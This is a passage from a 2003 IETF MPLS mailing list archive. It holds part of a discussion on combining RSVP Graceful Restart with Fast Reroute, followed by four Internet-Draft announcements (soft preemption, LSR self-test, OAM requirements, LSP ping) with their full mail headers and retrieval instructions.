Cc: "'mpls@uu.net'" <mpls@UU.NET>; <ccamp@ops.ietf.org>
Sent: Monday, October 27, 2003 1:23 PM
Subject: RE: RSVP Graceful Restart


> Hi Kireeti,
>
> As you say, FRR and GR solve very different problems, and that is why it's
> desirable to have both in the same network.
>
> The issue with that is not with overlap in the problems they are solving,
> but in recovering FRR backup and protected LSPs (which may not be being
> refreshed from upstream) after a restart.  Is this a problem that
interests
> you?
>
> Nic
>
> -----Original Message-----
> From: Juniper - Kireeti Kompella
> Sent: Friday, October 24, 2003 7:40 PM
> To: Nic Neate
> Cc: 'mpls@uu.net'; 'ccamp@ops.ietf.org'
> Subject: RE: RSVP Graceful Restart
>
>
> Hi Nic,
>
> On Wed, 22 Oct 2003, Nic Neate wrote:
>
> > Together with some colleagues at Data Connection, I have done some work
> > looking at how GMPLS Restart could work with RSVP Fast Reroute LSPs.
>
> FRR and GR solve *very* different problems: the first is for link or
> node failures where the data plane is affected, the second for control
> plane failures (a special subset of node failures).
>
> Could you explain the problem you see here?
>
> Kireeti.
>
>


From owner-mpls@UU.NET  Tue Oct 28 09:47:12 2003
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA25441
	for <mpls-archive@lists.ietf.org>; Tue, 28 Oct 2003 09:47:12 -0500 (EST)
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmjj26800
	for <mpls-archive@lists.ietf.org>; Tue, 28 Oct 2003 14:47:21 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpmjj25937;
	Tue, 28 Oct 2003 14:47:00 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpmjh19568
	for mpls-outgoing; Tue, 28 Oct 2003 14:26:50 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQpmjh19556
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 28 Oct 2003 14:26:47 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQpmjh08165
	for <mpls@uu.net>; Tue, 28 Oct 2003 14:24:53 GMT
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmjh12722
	for <mpls@uu.net>; Tue, 28 Oct 2003 14:24:53 GMT
Received: from sj-iport-4.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-4.cisco.com [171.68.10.86])
	id QQpmjh12698
	for <mpls@uu.net>; Tue, 28 Oct 2003 14:24:52 GMT
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by rtp-core-2.cisco.com (8.12.9/8.12.6) with ESMTP id h9SEOhN2009998
	for <mpls@uu.net>; Tue, 28 Oct 2003 09:24:47 -0500 (EST)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ADN01342;
	Tue, 28 Oct 2003 09:24:43 -0500 (EST)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h9SEOhR19125 for mpls@uu.net; Tue, 28 Oct 2003 09:24:43 -0500 (EST)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQpmjh19231
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 28 Oct 2003 14:23:12 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQpmjh02893
	for <mpls@uu.net>; Tue, 28 Oct 2003 14:22:17 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmjh25387
	for <mpls@uu.net>; Tue, 28 Oct 2003 14:22:16 GMT
Received: from ietf.org by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: odin.ietf.org [132.151.1.176])
	id QQpmjh25300
	for <mpls@uu.net>; Tue, 28 Oct 2003 14:22:13 GMT
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA22471;
	Tue, 28 Oct 2003 09:22:02 -0500 (EST)
Message-Id: <200310281422.JAA22471@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce:;
Cc: mpls@UU.NET
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mpls-soft-preemption-01.txt
Date: Tue, 28 Oct 2003 09:22:02 -0500
Sender: owner-mpls@UU.NET
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiprotocol Label Switching Working Group of the IETF.

	Title		: MPLS Traffic Engineering Soft preemption
	Author(s)	: M. Meyer
	Filename	: draft-ietf-mpls-soft-preemption-01.txt
	Pages		: 10
	Date		: 2003-10-27
	
This draft documents MPLS TE Soft Preemption, a suite of protocol 
modifications extending the current concept of preemption with the goal 
of reducing/eliminating traffic disruption of preempted TE LSPs.  Under 
present RSVP-TE signaling methods, LSPs are immediately displaced upon 
preemption.  The introduction of a new preemption pending flag helps 
more gracefully mitigate the re-route process of displaced LSPs.  For 
the brief period soft preemption is activated, reservations (though not 
necessarily traffic levels) are in effect overbooked until the LSP can 
be re-routed.  For this reason, the feature is primarily interesting in 
packet oriented MPLS networks with Diffserv and TE capabilities.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mpls-soft-preemption-01.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mpls-soft-preemption-01.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mpls-soft-preemption-01.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<2003-10-28094211.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mpls-soft-preemption-01.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mpls-soft-preemption-01.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<2003-10-28094211.I-D@ietf.org>

--OtherAccess--

--NextPart--




From owner-mpls@UU.NET  Tue Oct 28 09:48:23 2003
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA25485
	for <mpls-archive@lists.ietf.org>; Tue, 28 Oct 2003 09:48:22 -0500 (EST)
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmjj23209
	for <mpls-archive@lists.ietf.org>; Tue, 28 Oct 2003 14:48:32 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpmjj22670;
	Tue, 28 Oct 2003 14:48:22 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpmjh19561
	for mpls-outgoing; Tue, 28 Oct 2003 14:26:49 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQpmjh19554
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 28 Oct 2003 14:26:46 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQpmjh08144
	for <mpls@uu.net>; Tue, 28 Oct 2003 14:24:53 GMT
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmjh12703
	for <mpls@uu.net>; Tue, 28 Oct 2003 14:24:52 GMT
Received: from sj-iport-4.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-4.cisco.com [171.68.10.86])
	id QQpmjh12685
	for <mpls@uu.net>; Tue, 28 Oct 2003 14:24:52 GMT
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by rtp-core-2.cisco.com (8.12.9/8.12.6) with ESMTP id h9SEOhN0009998
	for <mpls@uu.net>; Tue, 28 Oct 2003 09:24:44 -0500 (EST)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ADN01341;
	Tue, 28 Oct 2003 09:24:43 -0500 (EST)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h9SEOgv19116 for mpls@uu.net; Tue, 28 Oct 2003 09:24:42 -0500 (EST)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQpmjh19230
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 28 Oct 2003 14:23:11 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQpmjh02821
	for <mpls@uu.net>; Tue, 28 Oct 2003 14:22:15 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmjh25316
	for <mpls@uu.net>; Tue, 28 Oct 2003 14:22:14 GMT
Received: from ietf.org by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: odin.ietf.org [132.151.1.176])
	id QQpmjh25103
	for <mpls@uu.net>; Tue, 28 Oct 2003 14:22:07 GMT
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA22458;
	Tue, 28 Oct 2003 09:21:56 -0500 (EST)
Message-Id: <200310281421.JAA22458@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce:;
Cc: mpls@UU.NET
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mpls-lsr-self-test-01.txt
Date: Tue, 28 Oct 2003 09:21:56 -0500
Sender: owner-mpls@UU.NET
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiprotocol Label Switching Working Group of the IETF.

	Title		: Label Switching Router Self-Test
	Author(s)	: G. Swallow, K. Kompella, D. Tappan
	Filename	: draft-ietf-mpls-lsr-self-test-01.txt
	Pages		: 18
	Date		: 2003-10-27
	
This document defines a means of self test for a Label-Switching
Router (LSR) to verify that its dataplane is functioning for
certain key Multi-Protocol Label Switching (MPLS) applications
including unicast forwarding based on LDP [LDP] and traffic
engineering tunnels based on [RSVP-TE].  A new Loopback FEC type
is defined to allow an upstream neighbor to assist in the testing
at very low cost.  MPLS Echo Request and MPLS Echo Reply messages
[LSP-Ping] messages are extended to do the actually probing.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mpls-lsr-self-test-01.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mpls-lsr-self-test-01.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mpls-lsr-self-test-01.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<2003-10-28094155.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mpls-lsr-self-test-01.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mpls-lsr-self-test-01.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<2003-10-28094155.I-D@ietf.org>

--OtherAccess--

--NextPart--




From owner-mpls@UU.NET  Tue Oct 28 09:49:15 2003
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA25516
	for <mpls-archive@lists.ietf.org>; Tue, 28 Oct 2003 09:49:15 -0500 (EST)
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmjj01663
	for <mpls-archive@lists.ietf.org>; Tue, 28 Oct 2003 14:49:24 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpmjj01083;
	Tue, 28 Oct 2003 14:49:11 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpmjh19632
	for mpls-outgoing; Tue, 28 Oct 2003 14:28:05 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQpmjh19618
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 28 Oct 2003 14:27:57 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQpmjh12677
	for <mpls@uu.net>; Tue, 28 Oct 2003 14:27:00 GMT
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmjh16129
	for <mpls@uu.net>; Tue, 28 Oct 2003 14:26:59 GMT
Received: from sj-iport-5.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-5.cisco.com [171.68.10.87])
	id QQpmjh16097
	for <mpls@uu.net>; Tue, 28 Oct 2003 14:26:58 GMT
Received: from cisco.com (64.102.124.12)
  by sj-iport-5.cisco.com with ESMTP; 28 Oct 2003 06:27:14 -0800
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by rtp-core-1.cisco.com (8.12.9/8.12.6) with ESMTP id h9SEQtFH024235
	for <mpls@uu.net>; Tue, 28 Oct 2003 09:26:55 -0500 (EST)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ADN01557;
	Tue, 28 Oct 2003 09:26:55 -0500 (EST)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h9SEQt519172 for mpls@uu.net; Tue, 28 Oct 2003 09:26:55 -0500 (EST)
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQpmjh19425
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 28 Oct 2003 14:26:01 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQpmjh16296
	for <mpls@uu.net>; Tue, 28 Oct 2003 14:22:41 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmjh25939
	for <mpls@uu.net>; Tue, 28 Oct 2003 14:22:41 GMT
Received: from ietf.org by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: odin.ietf.org [132.151.1.176])
	id QQpmjh25629
	for <mpls@uu.net>; Tue, 28 Oct 2003 14:22:24 GMT
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA22524;
	Tue, 28 Oct 2003 09:22:10 -0500 (EST)
Message-Id: <200310281422.JAA22524@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce:;
Cc: mpls@UU.NET
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mpls-oam-requirements-02.txt
Date: Tue, 28 Oct 2003 09:22:09 -0500
Sender: owner-mpls@UU.NET
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiprotocol Label Switching Working Group of the IETF.

	Title		: OAM Requirements for MPLS Networks
	Author(s)	: T. Nadeau
	Filename	: draft-ietf-mpls-oam-requirements-02.txt
	Pages		: 13
	Date		: 2003-10-27
	
As transport of diverse traffic types such as voice, frame
relay, and ATM over MPLS become more common, the ability to detect, 
handle and diagnose control and data plane defects becomes 
critical. 
Detection and specification of how to handle those defects is not 
only important because such defects may not only affect the 
fundamental operation of an MPLS network, but also because they 
may impact SLA commitments for customers of that network.
This Internet draft describes requirements for user and data
plane operations and management (OAM) for Multi-Protocol
Label Switching (MPLS). These requirements have been gathered
from network operators who have extensive experience deploying
MPLS networks, similarly some of these requirements have
appeared in other documents [Y1710]. This draft specifies OAM 
requirements for MPLS, as well as for applications of MPLS such 
as pseudowire voice and VPN services. Those interested in specific 
issues relating to instrumenting MPLS for OAM purposes are directed 
to [FRAMEWORK]

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mpls-oam-requirements-02.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mpls-oam-requirements-02.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mpls-oam-requirements-02.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<2003-10-28094227.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mpls-oam-requirements-02.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mpls-oam-requirements-02.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<2003-10-28094227.I-D@ietf.org>

--OtherAccess--

--NextPart--




From owner-mpls@UU.NET  Tue Oct 28 09:52:09 2003
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA25982
	for <mpls-archive@lists.ietf.org>; Tue, 28 Oct 2003 09:52:09 -0500 (EST)
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmjj06993
	for <mpls-archive@lists.ietf.org>; Tue, 28 Oct 2003 14:52:18 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpmjj06689;
	Tue, 28 Oct 2003 14:52:10 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpmji19868
	for mpls-outgoing; Tue, 28 Oct 2003 14:32:02 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQpmji19844
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 28 Oct 2003 14:31:50 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQpmjh02550
	for <mpls@uu.net>; Tue, 28 Oct 2003 14:25:56 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmjh00232
	for <mpls@uu.net>; Tue, 28 Oct 2003 14:25:55 GMT
Received: from sj-iport-5.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-5.cisco.com [171.68.10.87])
	id QQpmjh00225
	for <mpls@uu.net>; Tue, 28 Oct 2003 14:25:55 GMT
Received: from cisco.com (64.102.124.12)
  by sj-iport-5.cisco.com with ESMTP; 28 Oct 2003 06:26:11 -0800
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by rtp-core-1.cisco.com (8.12.9/8.12.6) with ESMTP id h9SEPpFH023997
	for <mpls@uu.net>; Tue, 28 Oct 2003 09:25:52 -0500 (EST)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ADN01464;
	Tue, 28 Oct 2003 09:25:51 -0500 (EST)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h9SEPpS19161 for mpls@uu.net; Tue, 28 Oct 2003 09:25:51 -0500 (EST)
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQpmjh19269
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 28 Oct 2003 14:23:50 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQpmjh23625
	for <mpls@uu.net>; Tue, 28 Oct 2003 14:22:05 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmjh25014
	for <mpls@uu.net>; Tue, 28 Oct 2003 14:22:04 GMT
Received: from ietf.org by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: odin.ietf.org [132.151.1.176])
	id QQpmjh24965
	for <mpls@uu.net>; Tue, 28 Oct 2003 14:22:02 GMT
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA22435;
	Tue, 28 Oct 2003 09:21:50 -0500 (EST)
Message-Id: <200310281421.JAA22435@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce:;
Cc: mpls@UU.NET
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mpls-lsp-ping-04.txt
Date: Tue, 28 Oct 2003 09:21:49 -0500
Sender: owner-mpls@UU.NET
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiprotocol Label Switching Working Group of the IETF.

	Title		: Detecting MPLS Data Plane Failures
	Author(s)	: K. Kompella
	Filename	: draft-ietf-mpls-lsp-ping-04.txt
	Pages		: 27
	Date		: 2003-10-27
	
This document describes a simple and efficient mechanism that can be
used to detect data plane failures in Multi-Protocol Label Switching
(MPLS) Label Switched Paths (LSPs).  There are two parts to this
document: information carried in an MPLS 'echo request' and 'echo
reply' for the purposes of fault detection and isolation; and
mechanisms for reliably sending the echo reply.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mpls-lsp-ping-04.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mpls-lsp-ping-04.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mpls-lsp-ping-04.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<2003-10-28094143.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mpls-lsp-ping-04.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mpls-lsp-ping-04.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<2003-10-28094143.I-D@ietf.org>

--OtherAccess--

--NextPart--




From owner-mpls@UU.NET  Tue Oct 28 10:13:12 2003
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA28438
	for <mpls-archive@lists.ietf.org>; Tue, 28 Oct 2003 10:13:11 -0500 (EST)
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmjk19215
	for <mpls-archive@lists.ietf.org>; Tue, 28 Oct 2003 15:13:21 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpmjk18812;
	Tue, 28 Oct 2003 15:13:08 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpmjj22638
	for mpls-outgoing; Tue, 28 Oct 2003 14:51:03 GMT
